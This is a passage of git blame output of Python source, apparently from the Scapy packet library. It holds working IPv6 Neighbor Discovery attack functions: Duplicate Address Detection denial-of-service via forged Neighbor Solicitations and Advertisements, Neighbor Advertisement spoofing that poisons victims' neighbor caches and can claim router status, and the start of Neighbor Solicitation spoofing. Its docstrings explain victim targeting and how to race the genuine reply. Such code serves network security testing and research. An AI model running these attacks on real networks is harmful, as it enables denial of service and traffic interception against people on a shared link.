3315af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address and sending a NS reply for the target address,
3316af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3317af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3318af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3319af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NS sent to create the DoS uses:
3320af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3321af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the unspecified address (::).
3322af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3323af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3324af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3325af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3326af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3327af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3328af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3329af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3330af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3331af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3332af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3333af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3334af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3335af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3336af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3337af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3338af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3339af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3340af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3341af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3342af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3343af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3344af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3345af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3346af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3347af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3348af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ns_reply_callback(req, reply_mac, iface):
3349af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3350af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS by sending a similar NS
3351af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3352af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3353af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3354af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3355af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3356af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3357af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
3358af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3359af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3360b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NS for target address %s (received from %s)" % (tgt, mac))
3361af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3362af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3363af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3364af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3365af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3366af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3367af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3368af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3369af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3370af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages *sent from the
3371af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address* and sending a NA reply for the target address,
3372af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3373af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3374af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3375af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3376af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3377af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address found in received NS.
3378af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3379af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3380af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3381af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3382af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3383af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3384af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       with the mac address used as source of the NA.
3385af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3386af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3387af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3388af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3389af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3390af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3391af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3392af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3393af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3394af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3395af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3396af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3397af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3398af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3399af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3400af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3401af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3402af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3403af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3404af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3405af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3406af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3407af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def na_reply_callback(req, reply_mac, iface):
3408af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3409af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a NA
3410af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3411af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3412af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3413af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3414af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3415af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3416af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
3417af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
3418af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3419af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3420af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3421b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3422af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3423af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3424af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3425af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3426af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3427af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3428af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           reply_mac=None, router=False):
3429af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3430af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Advertisement
3431af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim. As the emission of unsolicited Neighbor Advertisement
3432af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    is pretty pointless (from an attacker standpoint) because it will not
3433af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    lead to a modification of a victim's neighbor cache, the function send
3434af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertisements in response to received NS (NS sent as part of the DAD,
3435af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. with an unspecified address as source, are not considered).
3436af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3437af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3438af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3439af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address
3440af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the source IPv6 address of received NS
3441af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       message.
3442af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3443af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the source mac address of the received NS as destination macs address
3444af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       of the emitted NA.
3445af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3446af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       filled with the mac address used as source of the NA.
3447af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3448af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3449af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3450af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3451af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3452af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3453af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3454af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3455af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3456af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3457af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3458af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3459af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3460af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3461af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3462af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3463af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3464af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3465af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3466af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3467af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3468af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router: by the default (False) the 'R' flag in the NA used for the reply
3469af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not set. If the parameter is set to True, the 'R' flag in the
3470af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         NA is set, advertising us as a router.
3471af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3472af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Please, keep the following in mind when using the function: for obvious
3473af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reasons (kernel space vs. Python speed), when the target of the address
3474af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    resolution is on the link, the sender of the NS receives 2 NA messages
3475af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    in a row, the valid one and our fake one. The second one will overwrite
3476af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the information provided by the first one, i.e. the natural latency of
3477af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Scapy helps here.
3478af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3479af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    In practice, on a common Ethernet link, the emission of the NA from the
3480af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    genuine target (kernel stack) usually occurs in the same millisecond as
3481af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the receipt of the NS. The NA generated by Scapy6 will usually come after
3482af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    something 20+ ms. On a usual testbed for instance, this difference is
3483af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sufficient to have the first data packet sent from the victim to the
3484af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    destination before it even receives our fake NA.
3485af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3486af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3487af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3488af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3489af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3490af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3491af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3492af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3493af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3494af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3495af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3496af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3497af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3498af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3499af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3500af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must NOT be the unspecified address
3501af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[IPv6].src == "::":
3502af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3503af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3504af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3505af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3506af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3507af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3508af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        dst = req[IPv6].dst
3509af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3510af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3511af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # If this is a real address resolution NS, then the destination
3512af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address of the packet is the link-local solicited node multicast
3513af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address associated with the target of the NS.
3514af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # Otherwise, the NS is a NUD related one, i.e. the peer is
3515af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # unicasting the NS to check the target is still alive (L2
3516af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # information is still in its cache and it is verified)
3517af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            received_snma = socket.inet_pton(socket.AF_INET6, dst)
3518af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            expected_snma = in6_getnsma(tgt)
3519af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            if received_snma != expected_snma:
3520b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter                print("solicited node multicast @ does not match target @!")
3521af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                return 0
3522af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3523af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3524af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3525af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def reply_callback(req, reply_mac, router, iface):
3526af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3527af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a spoofed NA
3528af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3529af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3530af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3531af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # send it back.
3532af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3533af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        pkt = req[IPv6]
3534af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = pkt.src
3535af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3536af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
3537af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
3538af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3539af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # "If the solicitation IP Destination Address is not a multicast
3540af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address, the Target Link-Layer Address option MAY be omitted"
3541af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Given our purpose, we always include it.
3542af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3543af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3544af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3545af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3546b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3547af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3548af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3549af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3550af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3551af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3552af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3553af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3554af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3555af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router = (router and 1) or 0 # Value of the R flags in NA
3556af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3557af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3558af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3559af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3560af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, router, iface),
3561af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3562af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3563af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3564af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3565af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           dst=None, src_mac=None, dst_mac=None, loop=True,
3566af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           inter=1, iface=None):
3567af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3568af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Solicitations
3569af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim, in order to either create a new entry in its neighbor
3570af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3571af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    that a node SHOULD create the entry or update an existing one (if it is not
3572af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    currently performing DAD for the target of the NS). The entry's reachability
3573af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    state is set to STALE.
3574af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3575af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The two main parameters of the function are the source link-layer address
3576af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (carried by the Source Link-Layer Address option in the NS) and the
3577af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    source address of the packet.
3578af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3579af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Unlike some other NDP_Attack_* function, this one is not based on a
3580af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    stimulus/response model. When called, it sends the same NS packet in loop
3581af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    every second (the default)
3582af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3583af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the format of the packets:
3584af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3585af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_lladdr: the MAC address used in the Source Link-Layer Address option
3586af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         included in the NS packet. This is the address that the peer should
3587af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associate in its neighbor cache with the IPv6 source address of the
3588af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. If None is provided, the mac address of the interface is
3589af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         used.
3590af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
